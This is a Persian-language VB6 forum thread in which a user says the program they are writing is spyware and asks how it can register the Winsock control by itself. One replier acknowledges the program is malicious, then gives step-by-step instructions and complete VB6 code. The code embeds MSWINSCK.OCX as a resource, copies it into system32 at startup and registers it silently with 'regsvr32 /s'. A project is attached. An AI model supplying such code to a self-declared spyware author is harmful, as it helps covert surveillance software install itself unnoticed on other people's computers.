PDA

View Full Version : مشکلی عجیب با mswinsck.dll



41134100
پنج شنبه 25 تیر 1388, 16:43 عصر
سلام
من یه برنامه نوشتم که توش از mswinsck استفاده شده
ولی تو بعضی سیستم ها برنامم ارور میده
لطفا سریع بگید چیکار کنم
http://zohrebala.persiangig.com/DEDD.JPG
این جور که من متوجه شدم:
میگه این او سی ایکس رجستر نشده
حالا من میخوام از تو خود برنامه رجسترش کنم(آخه برنامه جاسوسیه)
چطور از تو خود برنامه مشکل رو حل کنم

butterfly8528
پنج شنبه 25 تیر 1388, 19:55 عصر
حالا من میخوام از تو خود برنامه رجسترش کنم(آخه برنامه جاسوسیه)


سلام .

برایه اینکه برنامه شما یک برنامه مخرب هست فقط باید یک فایل داشته باشد که آن هم خود برنامه است و نمی توانید وینساک را در کنار برنامه قرار بدید !

1- شما باید وینساک رو در ریسورس برنامه قرار بدید .

2- در زمان اجرا وینساک رو از داخل ریسورس به system32 منتقل کنید .

3- وینساک رو در sustem32 رجیستر کنید .

این فقط روش کار بود . دیگه کد نویسیش با خودت .

اگه جاییش مشکل داشتی در خدمتم :بامزه:

41134100
پنج شنبه 25 تیر 1388, 20:26 عصر
اینایی که گفتید همه درست
مشکل اصلی اینه که هیچکدم اینا رو نمیدونم :(

mmssoft
پنج شنبه 25 تیر 1388, 20:27 عصر
سلام دوست عزیز به وبلاگ من بروید و مقاله «32 آموزش جامع در قالب فایل PDF» را دانلود کنید.
این آموزش شامل آموزش کامل کنترل Winsock هم هست.

--->وبلاگ من (http://www.vbassistant.blogfa.com)<--- _-_ www.vbassistant.blogfa.com

butterfly8528
پنج شنبه 25 تیر 1388, 22:31 عصر
1 - از قسمت Add-Ins > Add-In Manager گزینه VB 6 Resource Editor رو انتخاب کن و بعد تو همون صفحه تیک های Loaded/Unloaded و Load On Start Up رو بزن و OK پنجره رو بزن تا بسته شه .

2- حالا از منوی ابزار بر روی آیکن VB 6 Resource Editor کلیک کن تا باز شه .

3- حالا از نوار ابزار بالای صفحه باز شده بر روی Add Custom Resource کلیک کنید و MSWINSCK.OCX رو انتخاب کنید .

4 - حالا این کد ها رئ به پروژت اضافه کن .


'Coded By Faraz Azadi
' peyda kardane pooshe system32
Private Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
' tarife miteghayeri ke havie masire system 32 khahad bood
Dim sysm32 As String
Private Sub getsystem32()
' peyda kardane pooshe system32
Dim Buffer As String
Buffer = String(255, 0)
GetSystemDirectory Buffer, 255
sysm32 = Left$(Buffer, InStr(1, Buffer, Chr$(0)) - 1)
End Sub

Private Sub copyfromres()
'copy winsock be system32
Dim w() As Byte, winsockpath As String
winsockpath = sysm32 & "\MSWINSCK.OCX"
w = LoadResData(101, "CUSTOM")
Open winsockpath For Binary As #1
Put #1, , w()
Close #1
End Sub

Private Sub registerwinsock()
' registerkardane winsock
winsockpath = sysm32 & "\MSWINSCK.OCX"
Shell "regsvr32 " & winsockpath & " /s" ', vbHide
End Sub
Private Sub Form_Load()
'farakhanie rooye haye fogh
getsystem32
copyfromres
registerwinsock
End Sub



پروژه رو هم ضمیمه کردم . :چشمک:

ولی دوست من اگه میخوای واقعا برنامه نویسی رو یاد بگیری خودت دست به کار شو و منتظر پروژه های آماده دیگران نباش !!!

اگه سوالی بود در خدمتم . :لبخندساده: